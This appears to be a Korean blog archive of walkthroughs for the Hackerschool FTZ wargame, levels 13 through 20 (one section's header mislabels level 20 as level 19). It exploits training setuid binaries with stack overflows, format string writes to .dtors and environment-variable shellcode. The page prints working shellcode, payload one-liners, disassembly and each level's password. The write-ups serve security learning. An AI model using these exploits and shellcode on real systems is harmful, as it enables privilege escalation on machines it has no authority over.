반응형
반응형
반응형


해커스쿨 FTZ [LEVEL19] 풀이


M4ndU




해커스쿨 FTZ [LEVEL19] 풀이입니다.


ID | level19

PW | we are just regular guys


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level20

level20@192.168.31.128's password:

[level20@ftz level20]$ ls -l

total 24

-rwsr-sr-x    1 clear    clear       11777 Jun 18  2008 attackme

-rw-r-----    1 root     level20       133 May 13  2002 hint

drwxr-xr-x    2 root     level20      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level20      4096 Jan 11  2009 tmp

[level20@ftz level20]$ cat hint


#include <stdio.h>

main(int argc,char **argv)

{ char bleh[80];

  setreuid(3101,3101);

  fgets(bleh,79,stdin);

  printf(bleh);

}



FTZ의 마지막 레벨, 20레벨이네요.
소스를 보면
bleh는 80바이트인데 입력은 79바이트를 받네요.
.....????????

어떻게 해결해?
하지만 printf(bleh);
이곳에 취약점이 있습니다!
level11에도 있었던 취약점이었습니다.

보통 printf("%s", bleh); 로 사용되는데, 이 것은 그렇지 않죠.
이 것의 문제를 포멧스트링 버그라고 합니다.

포멧스트링 버그에 관한 내용들은 좋은 문서들이 많으니 설명하지 않고 풀이로 넘어가겠습니다.

[level20@ftz level20]$ ./attackme
%08x %08x
0000004f 4212ecc0


입력값으로 서식문자를 입력하니 메모리를 읽어서 출력해주네요.
이번엔 그냥 문자와 서식문자를 같이 입력해 보겠습니다.

[level20@ftz level20]$ ./attackme
AAAAAAAA %08x %08x %08x %08x %08x %08x %08x %08x
AAAAAAAA 0000004f 4212ecc0 4207a750 41414141 41414141 38302520 30252078 25207838

오 이번엔 메모리 4번째부터 우리가 입력한 AAAAAAAA인 0x41414141 0x41414141 이 보이네요.

다음으로 printf()의 소멸자 .dtors를 찾아보겠습니다.

[level20@ftz level20]$ objdump -s -j .dtors attackme

attackme:     file format elf32-i386

Contents of section .dtors:
 8049594 ffffffff 00000000                    ........

0x8049594 + 4 = 0x8049598에 있네요. 이 주소에 쉘코드 주소를 넣어주면 되겠습니다.

일단 환경변수에 쉘코드를 넣겠습니다.


$export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv

[level20@ftz level20]$ export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[level20@ftz level20]$ cd tmp
[level20@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[level20@ftz tmp]$ gcc getenv.c -o getenv
[level20@ftz tmp]$ ./getenv
ADDR -> 0xbffffc8d

0x8049598 에 쉘코드를 주소를 올려야 하는데요. 0xbffffc8d의 정수값이 x86시스템에서 지정할 수 없는 크기 때문에 %n을 이용해 반반씩 나누어 덮어주겠습니다.

0xfc8d (64653(10)) 는 0x08049598에 넣고
0xbfff (49151(10)) 는 0x0804959a에 넣게 됩니다.

그리고
AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%8x 에 대한 자릿수 40바이트를
0xfc8d에서 뺍니다.
64653-40=64613

또 %n이 앞자릿수를 계산하므로 40+64613=64653을 
0xbfff에서도 빼주어야 합니다.그러나 0xbfff(49151)에서 빼게되면 음수가 되기 때문에 0xbfff앞에 1을 붙인 0x1bfff에서 빼서
50034가 됩니다.

최종적으로
"AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%8x%64613c%n%50034c%n"이 됩니다.

(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%64613c%n"+"%50034c%n"'; cat) | ./attackme​


[level20@ftz level20]$ (python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%64613c%n"+"%50034c%n"'; cat) | ./attackme

AAAA쁀AAA?     4f4212ecc04207a750                                                                                                                  (공백)


my-pass

TERM environment variable not set.


clear Password is "i will come in a minute".

웹에서 등록하세요.


* 해커스쿨의 든 레벨을 통과하신 것을 축하드립니다.

당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.

해커스쿨에서는 실력있 분들을 모아 연구소라는 그룹을 운영하고 있습니다.

이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의

가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.




이렇게 FTZ가 끝이 났습니다. 이제 LOB로 가즈아아아아아!



반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL19] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL18] 풀이  (3) 2018.02.09
해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
반응형


해커스쿨 FTZ [LEVEL19] 풀이


M4ndU




해커스쿨 FTZ [LEVEL19] 풀이입니다.


ID | level19

PW | swimming in pink


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level19

level19@192.168.31.128's password:

[level19@ftz level19]$ ls -l

total 28

-rwsr-x---    1 level20  level19     13615 Mar  8  2003 attackme

-rw-r-----    1 root     level19        65 Mar  8  2003 hint

drwxr-xr-x    2 root     level19      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level19      4096 Jan 16  2009 tmp

[level19@ftz level19]$ cat hint



main()

{ char buf[20];

  gets(buf);

  printf("%s\n",buf);

}



어라...엄청 간단해졌습니다. 이번에도 환경변수를 사용하겠습니다.

그런데 setreuid함수가 없으므로 쉘코드를 25바이트가 아닌 setreuid가 포함된 41바이트 쉘코드를 사용하겠습니다.


$export EGG=`python -c 'print "\x90"*20+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv



[level19@ftz level19]$ export EGG=`python -c 'print"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[level19@ftz level19]$ cd tmp

[level19@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[level19@ftz tmp]$ gcc getenv.c -o getenv

[level19@ftz tmp]$ ./getenv

ADDR -> 0xbffffc78





gdb를 통해 buf위치 확인


[level19@ftz tmp]$ cd ..

[level19@ftz level19]$ gdb -q attackme

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x08048440 <main+0>:    push   ebp

0x08048441 <main+1>:    mov    ebp,esp

0x08048443 <main+3>:    sub    esp,0x28

0x08048446 <main+6>:    sub    esp,0xc

0x08048449 <main+9>:    lea    eax,[ebp-40]

0x0804844c <main+12>:   push   eax

0x0804844d <main+13>:   call   0x80482f4 <gets>

0x08048452 <main+18>:   add    esp,0x10

0x08048455 <main+21>:   sub    esp,0x8

0x08048458 <main+24>:   lea    eax,[ebp-40]

0x0804845b <main+27>:   push   eax

0x0804845c <main+28>:   push   0x80484d8

0x08048461 <main+33>:   call   0x8048324 <printf>

0x08048466 <main+38>:   add    esp,0x10

0x08048469 <main+41>:   leave

0x0804846a <main+42>:   ret


ebp-40이네요. 44바이트를 채워버리고 리턴주소를 0xbffffc78로 덮어주면 되겠네요.


[level19@ftz level19]$ (python -c 'print "A"*44+"\x78\xfc\xff\xbf"'; cat) | ./attackme

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAx??

my-pass

TERM environment variable not set.


Level20 Password is "we are just regular guys".



성공입니다. FTZ 마지막 고점으로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL20] 풀이  (2) 2018.02.10
해커스쿨 FTZ [LEVEL18] 풀이  (3) 2018.02.09
해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
반응형


해커스쿨 FTZ [LEVEL18] 풀이


M4ndU




해커스쿨 FTZ [LEVEL18] 풀이입니다.


ID | level18

PW | why did you do it


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level18

level18@192.168.31.128's password:

[level18@ftz level18]$ ls -l

total 20

-rwsr-x---    1 level19  level18      6225 Jan 25  1999 attackme

-rw-r-----    1 root     level18      1272 Jan 25  1999 hint

drwxr-xr-x    2 root     level18      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level18      4096 Jan  8  2009 tmp

[level18@ftz level18]$ cat hint


#include <stdio.h>

#include <sys/time.h>

#include <sys/types.h>

#include <unistd.h>

void shellout(void);

int main()

{

  char string[100];

  int check;

  int x = 0;

  int count = 0;

  fd_set fds;

  printf("Enter your command: ");

  fflush(stdout);

  while(1)

    {

      if(count >= 100)

        printf("what are you trying to do?\n");

      if(check == 0xdeadbeef)

        shellout();

      else

        {

          FD_ZERO(&fds);

          FD_SET(STDIN_FILENO,&fds);


          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)

            {

              if(FD_ISSET(fileno(stdin),&fds))

                {

                  read(fileno(stdin),&x,1);

                  switch(x)

                    {

                      case '\r':

                      case '\n':

                        printf("\a");

                        break;

                      case 0x08:

                        count--;

                        printf("\b \b");

                        break;

                      default:

                        string[count] = x;

                        count++;

                        break;

                    }

                }

            }

        }

    }

}


void shellout(void)

{

  setreuid(3099,3099);

  execl("/bin/sh","sh",NULL);

}



소스가 엄청 길어졌습니다..

분석을 해봅시다.



      if(count >= 100)

        printf("what are you trying to do?\n");

      if(check == 0xdeadbeef)

        shellout();


count가 100이상이면 문장을 출력하고

check가 0xdeadbeef이면 shellout함수를 실행하네요.



      else

        {

          FD_ZERO(&fds);

          FD_SET(STDIN_FILENO,&fds);


          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)

            {

              if(FD_ISSET(fileno(stdin),&fds))

                {

                  read(fileno(stdin),&x,1);


사용자로부터 입력을 받고, 입력값에서 1바이트를 가져옵니다.



                  switch(x)

                    {

                      case '\r':

                      case '\n':

                        printf("\a");

                        break;

                      case 0x08:

                        count--;

                        printf("\b \b");

                        break;

                      default:

                        string[count] = x;

                        count++; 

                        break;

                     }



그 1바이트의 값이 0x08이면 count 값을 1감소하고


그 1바이트의 값이 \r \n 0x08이 아니라면 string[count] 에 그 1바이트값을 대입하고

count의 값을 1증가 시키네요.


void shellout(void)

{

  setreuid(3099,3099);

  execl("/bin/sh","sh",NULL);

}


shellout함수는 쉘을 띄워주네요.



우리의 목표는 check의 값을 0xdeadbeef로 만드는 것이네요.

string의 값을 넘치게해서 리턴값을 바꾸는 것은 첫번째 조건문에 걸리기 때문에 불가능하고요.


그런데 check는 string보다 더 낮은주소에 있습니다. 그럼 check를 어떻게 조작해야 할까요?

만약 count가 음수라면..? string의 시작주소보다 더 낮은주소에 접근할 수 있지 않을까요?


gdb를 통해 한번 보겠습니다.


코드가 길어서 중요한 부분만 적겠습니다.


0x080485ab <main+91>:   cmp    DWORD PTR [ebp-104],0xdeadbeef


ebp-104와 0xdeadbeef를 비교하네요. ebp-104가 check임을 알 수 있습니다.


그리고 밑으로 내려가보면


0x08048743 <main+499>:  lea    eax,[ebp-100]

0x08048746 <main+502>:  mov    DWORD PTR [ebp-252],eax

0x0804874c <main+508>:  mov    edx,DWORD PTR [ebp-112]

0x0804874f <main+511>:  mov    cl,BYTE PTR [ebp-108]

0x08048752 <main+514>:  mov    BYTE PTR [ebp-253],cl

0x08048758 <main+520>:  mov    al,BYTE PTR [ebp-253]

0x0804875e <main+526>:  mov    ecx,DWORD PTR [ebp-252]

0x08048764 <main+532>:  mov    BYTE PTR [edx+ecx],al

0x08048767 <main+535>:  inc    DWORD PTR [ebp-112]  //count++;

0x0804876a <main+538>:  jmp    0x8048770 <main+544> //break;


밑에 inc도 있고 하니 default: 부분인것 같습니다.

string은 ebp-100이 되겠네요.


그러면 check와 string사이에 dummy는 없습니다.


이 구조를 나타내면


낮은주소

check[0]  - string[-4]

check[1]  - string[-3]

check[2]  - stirng[-2]

check[3]  - stirng[-1]

string[0]

string[1]

...

string[99]

높은주소


이해가 되시나요?


우리가 도달해야 할 곳은 string[-4]이고, count의 초기값은 0입니다.

count의 값을 감소시키는 방법은 0x08을 보내는 것이죠.


0x08을 4번 보내어 string[-4]부터 쓸 수 있도록 만들고 0xdeadbeef를 덮어쓰면 되겠습니다.


(python -c 'print "\x08"*4+"\xef\xbe\xad\xde"'; cat) | ./attackme



[level18@ftz level18]$ (python -c 'print "\x08"*4+"\xef\xbe\xad\xde"'; cat) | ./attackme

Enter your command: my-pass


Level19 Password is "swimming in pink".


성공입니드아! GAZA!!!!!!!!


반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL20] 풀이  (2) 2018.02.10
해커스쿨 FTZ [LEVEL19] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
반응형


해커스쿨 FTZ [LEVEL17] 풀이


M4ndU




해커스쿨 FTZ [LEVEL17] 풀이입니다.


ID | level17

PW | king poetic


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level17

level17@192.168.31.128's password:

[level17@ftz level17]$ ls -l

total 28

-rwsr-x---    1 level18  level17     13853 Mar  8  2003 attackme

-rw-r-----    1 root     level17       191 Mar  8  2003 hint

drwxr-xr-x    2 root     level17      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level17      4096 Jan 11  2009 tmp

[level17@ftz level17]$ cat hint


#include <stdio.h>


void printit() {

  printf("Hello there!\n");

}


main()

{ int crap;

  void (*call)()=printit;

  char buf[20];

  fgets(buf,48,stdin);

  setreuid(3098,3098);

  call();

}




저번문제에 있던 shell함수가 사라졌네요.

쉘코드를 환경변수에 넣고 call주소로 쉘코드의 주소를 넣으면 될 것 같습니다.

먼저 buf와 call의 거리르 계산해 봅시다.

[level17@ftz level17]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080484a8 <main+0>:    push   ebp
0x080484a9 <main+1>:    mov    ebp,esp
0x080484ab <main+3>:    sub    esp,0x38
0x080484ae <main+6>:    mov    DWORD PTR [ebp-16],0x8048490
0x080484b5 <main+13>:   sub    esp,0x4
0x080484b8 <main+16>:   push   ds:0x804967c
0x080484be <main+22>:   push   0x30
0x080484c0 <main+24>:   lea    eax,[ebp-56]
0x080484c3 <main+27>:   push   eax
0x080484c4 <main+28>:   call   0x8048350 <fgets>
0x080484c9 <main+33>:   add    esp,0x10
0x080484cc <main+36>:   sub    esp,0x8
0x080484cf <main+39>:   push   0xc1a
0x080484d4 <main+44>:   push   0xc1a
0x080484d9 <main+49>:   call   0x8048380 <setreuid>
0x080484de <main+54>:   add    esp,0x10
0x080484e1 <main+57>:   mov    eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>:   call   eax
0x080484e6 <main+62>:   leave
0x080484e7 <main+63>:   ret

이전문제와 거리가 같네요.

ebp-56, ebp-16

이제 환경변수에 쉘코드를 넣어줍시다.

$export EGG=`python -c 'print"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv

[level17@ftz level17]$ export EGG=`python -c 'print"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[level17@ftz level17]$ cd tmp
[level17@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[level17@ftz tmp]$ gcc getenv.c -o getenv
[level17@ftz tmp]$ ./getenv
ADDR -> 0xbffffc8d


0xbffffc8d를 넣고 실행합시다.


(python -c 'print "A"*40+"\x8d\xfc\xff\xbf"'; cat) | ./attackme


[level17@ftz tmp]$ cd ..

[level17@ftz level17]$ (python -c 'print "A"*40+"\x8d\xfc\xff\xbf"'; cat) | ./attackme


my-pass

TERM environment variable not set.


Level18 Password is "why did you do it".



ㄱAㅈUㅏAAAAAAAAAAAAAAAAA


반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL19] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL18] 풀이  (3) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL14] 풀이  (4) 2018.02.09
반응형


해커스쿨 FTZ [LEVEL16] 풀이


M4ndU




해커스쿨 FTZ [LEVEL16] 풀이입니다.


ID | level16

PW | about to cause mass


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level16

level16@192.168.31.128's password:

[level16@ftz level16]$ ls -l

total 32

-rwsr-x---    1 level17  level16     14017 Mar  8  2003 attackme

-rw-r-----    1 root     root          235 Mar  8  2003 attackme.c

-rw-r-----    1 root     level16       235 Mar  8  2003 hint

drwxr-xr-x    2 root     level16      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level16      4096 Jan 11  2009 tmp

[level16@ftz level16]$ cat hint



#include <stdio.h>


void shell() {

  setreuid(3097,3097);

  system("/bin/sh");

}


void printit() {

  printf("Hello there!\n");

}


main()

{ int crap;

  void (*call)()=printit;

  char buf[20];

  fgets(buf,48,stdin);

  call();

}


20바이트의 buf에 48바이트 입력을 받고, call()를 하는데 printit함수의 주소를 call을 하는 것 같습니다.
우리는 shell함수를 call하도록 만들면 되겠네요.

변수 buf가 선언되고 *call이 선언되었으니  call부분을 덮어쓸 수 있을 것 같습니다.
이제 buf와 call의 거리를 계산해 봅시다.

[level16@ftz level16]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048518 <main+0>:    push   ebp
0x08048519 <main+1>:    mov    ebp,esp
0x0804851b <main+3>:    sub    esp,0x38
0x0804851e <main+6>:    mov    DWORD PTR [ebp-16],0x8048500
0x08048525 <main+13>:   sub    esp,0x4
0x08048528 <main+16>:   push   ds:0x80496e8
0x0804852e <main+22>:   push   0x30
0x08048530 <main+24>:   lea    eax,[ebp-56]
0x08048533 <main+27>:   push   eax
0x08048534 <main+28>:   call   0x8048384 <fgets>
0x08048539 <main+33>:   add    esp,0x10
0x0804853c <main+36>:   mov    eax,DWORD PTR [ebp-16]
0x0804853f <main+39>:   call   eax
0x08048541 <main+41>:   leave
0x08048542 <main+42>:   ret


ebp-16에 0x8048500을 넣고
ebp-56에 입력값을 받으니

ebp-56이 buf이고, ebp-16이 call 인것 같습니다.
그러면 ebp-16에 들어간 0x8048500은 printit 함수의 시작주소이겠죠?
확인해 봅시다.

(gdb) disas printit

Dump of assembler code for function printit:

0x08048500 <printit+0>: push   ebp

0x08048501 <printit+1>: mov    ebp,esp

0x08048503 <printit+3>: sub    esp,0x8

0x08048506 <printit+6>: sub    esp,0xc

0x08048509 <printit+9>: push   0x80485c0

0x0804850e <printit+14>:        call   0x80483a4 <printf>

0x08048513 <printit+19>:        add    esp,0x10

0x08048516 <printit+22>:        leave

0x08048517 <printit+23>:        ret

End of assembler dump.


맞네요.
우리는 ebp-16의 값을 printit함수의 시작주소가 아닌 shell함수의 시작주소로 바꿔주는 것이 목표이므로
shell함수의 시작주소도 확인해 봅시다.

(gdb) disas shell

Dump of assembler code for function shell:

0x080484d0 <shell+0>:   push   ebp

0x080484d1 <shell+1>:   mov    ebp,esp

0x080484d3 <shell+3>:   sub    esp,0x8

0x080484d6 <shell+6>:   sub    esp,0x8

0x080484d9 <shell+9>:   push   0xc19

0x080484de <shell+14>:  push   0xc19

0x080484e3 <shell+19>:  call   0x80483b4 <setreuid>

0x080484e8 <shell+24>:  add    esp,0x10

0x080484eb <shell+27>:  sub    esp,0xc

0x080484ee <shell+30>:  push   0x80485b8

0x080484f3 <shell+35>:  call   0x8048364 <system>

0x080484f8 <shell+40>:  add    esp,0x10

0x080484fb <shell+43>:  leave

0x080484fc <shell+44>:  ret



shell함수의 시작주소는 0x080484d0 이네요.
이제 익스플로잇을 작성합시다!

(python -c 'print "A"*40+"\xd0\x84\x04\x08"'; cat) | ./attackme


[level16@ftz level16]$ (python -c 'print "A"*40+"\xd0\x84\x04\x08"'; cat) | ./attackme


my-pass


Level17 Password is "king poetic".



성공입니다! Ga즈Aㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ

반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL18] 풀이  (3) 2018.02.09
해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL14] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL13] 풀이  (2) 2018.02.09
반응형


해커스쿨 FTZ [LEVEL15] 풀이


M4ndU




해커스쿨 FTZ [LEVEL15] 풀이입니다.


ID | level15

PW | guess what


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level15

level15@192.168.31.128's password:

[level15@ftz level15]$ ls -l

total 28

-rwsr-x---    1 level16  level15     13801 Dec 10  2002 attackme

-rw-r-----    1 root     level15       185 Dec 10  2002 hint

drwxr-xr-x    2 root     level15      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level15      4096 Jan 11  2009 tmp

[level15@ftz level15]$ cat hint


#include <stdio.h>


main()

{ int crap;

  int *check;

  char buf[20];

  fgets(buf,45,stdin);

  if (*check==0xdeadbeef)

   {

     setreuid(3096,3096);

     system("/bin/sh");

   }

}


level14 문제와 같아 보이는데 이번에 check가 포인터네요.

check의 값에 0xdeadbeef가 존재하는 곳의 주소를 넣어주어야 합니다.


gdb를 통해서 0xdeadbeef가 존재하는 주소를 찾아봅시다.


[level15@ftz level15]$ gdb -q attackme

(gdb) x/20x main

0x8048490 <main>:       0x83e58955      0xec8338ec      0x6435ff04      0x6a080496

0x80484a0 <main+16>:    0xc8458d2d      0xfeb6e850      0xc483ffff      0xf0458b10

0x80484b0 <main+32>:    0xbeef3881      0x2575dead      0x6808ec83      0x00000c18

0x80484c0 <main+48>:    0x000c1868      0xfeb6e800      0xc483ffff      0x0cec8310

0x80484d0 <main+64>:    0x04854868      0xfe66e808      0xc483ffff      0x90c3c910

(gdb) x/x 0x80484b0
0x80484b0 <main+32>:    0xbeef3881
(gdb) x/x 0x80484b1
0x80484b1 <main+33>:    0xadbeef38
(gdb) x/x 0x80484b2
0x80484b2 <main+34>:    0xdeadbeef
(gdb)

0x80484b2에 있네요.

이제 check의 값을 0x80484b2로 덮어줍시다.
스택구조는 같습니다.

(python -c 'print "A"*40+"\xb2\x84\x04\x08"'; cat) | ./attackme


[level15@ftz level15]$ (python -c 'print "A"*40+"\xb2\x84\x04\x08"'; cat) | ./attackme
my-pass

Level16 Password is "about to cause mass".



AAAAAAAAAAAAAAAAAUZAG


반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL14] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL13] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL12] 풀이  (3) 2018.02.09
반응형


해커스쿨 FTZ [LEVEL14] 풀이


M4ndU




해커스쿨 FTZ [LEVEL14] 풀이입니다.


ID | level14

PW | what that nigga want?


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level14

level14@192.168.31.128's password:

[level14@ftz level14]$ ls -l

total 28

-rwsr-x---    1 level15  level14     13801 Dec 10  2002 attackme

-rw-r-----    1 root     level14       346 Dec 10  2002 hint

drwxr-xr-x    2 root     level14      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level14      4096 Jan 11  2009 tmp

[level14@ftz level14]$ cat hint


레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.

버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이

최고의 효과를 가져다줍니다.


#include <stdio.h>

#include <unistd.h>


main()

{ int crap;

  int check;

  char buf[20];

  fgets(buf,45,stdin);

  if (check==0xdeadbeef)

   {

     setreuid(3095,3095);

     system("/bin/sh");

   }

}




이번에는 check의 값이 0xdeadbeef 이면 쉘을 띄우네요.

리턴값을 덮을 필요 없이 check의 값만 덮어 씌워주면 될 것 같습니다.


그런데 입력을 45바이트로 제한하네요.

부족해 보이는 것 같지만 gdb로 분석을 해보면?


[level14@ftz level14]$ gdb -q attackme

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x08048490 <main+0>:    push   ebp

0x08048491 <main+1>:    mov    ebp,esp

0x08048493 <main+3>:    sub    esp,0x38

0x08048496 <main+6>:    sub    esp,0x4

0x08048499 <main+9>:    push   ds:0x8049664

0x0804849f <main+15>:   push   0x2d

0x080484a1 <main+17>:   lea    eax,[ebp-56]

0x080484a4 <main+20>:   push   eax

0x080484a5 <main+21>:   call   0x8048360 <fgets>

0x080484aa <main+26>:   add    esp,0x10

0x080484ad <main+29>:   cmp    DWORD PTR [ebp-16],0xdeadbeef

0x080484b4 <main+36>:   jne    0x80484db <main+75>

0x080484b6 <main+38>:   sub    esp,0x8

0x080484b9 <main+41>:   push   0xc17

0x080484be <main+46>:   push   0xc17

0x080484c3 <main+51>:   call   0x8048380 <setreuid>

0x080484c8 <main+56>:   add    esp,0x10

0x080484cb <main+59>:   sub    esp,0xc

0x080484ce <main+62>:   push   0x8048548

0x080484d3 <main+67>:   call   0x8048340 <system>

0x080484d8 <main+72>:   add    esp,0x10

0x080484db <main+75>:   leave

0x080484dc <main+76>:   ret

0x080484dd <main+77>:   lea    esi,[esi]




낮은 주소


buf[20] [ebp-56]

dummy[20]

check[4] [ebp-16]

crap[4] 과 dummy[8]

SFP[4]

RET[4]


높은 주소


buf시작부터 check 마지막부분까지 44바이트 이니 1바이트정도 여유가 있는 것을 알 수 있습니당.


이제 check부분을 덮어줍시다.


(python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme


[level14@ftz level14]$ (python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme

my-pass


Level15 Password is "guess what".




간단하죠?

레벨 20을 향해 가즈아!!!!!!!

반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL13] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL12] 풀이  (3) 2018.02.09
해커스쿨 FTZ [LEVEL11] 풀이  (3) 2018.02.08
반응형


해커스쿨 FTZ [LEVEL13] 풀이


M4ndU




해커스쿨 FTZ [LEVEL13] 풀이입니다.


ID | level13

PW | have no clue


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.





login as: level13

level13@192.168.31.128's password:

[level13@ftz level13]$ ls -l

total 28

-rwsr-x---    1 level14  level13     13953 Mar  8  2003 attackme

-rw-r-----    1 root     level13       258 Mar  8  2003 hint

drwxr-xr-x    2 root     level13      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level13      4096 Jan 11  2009 tmp

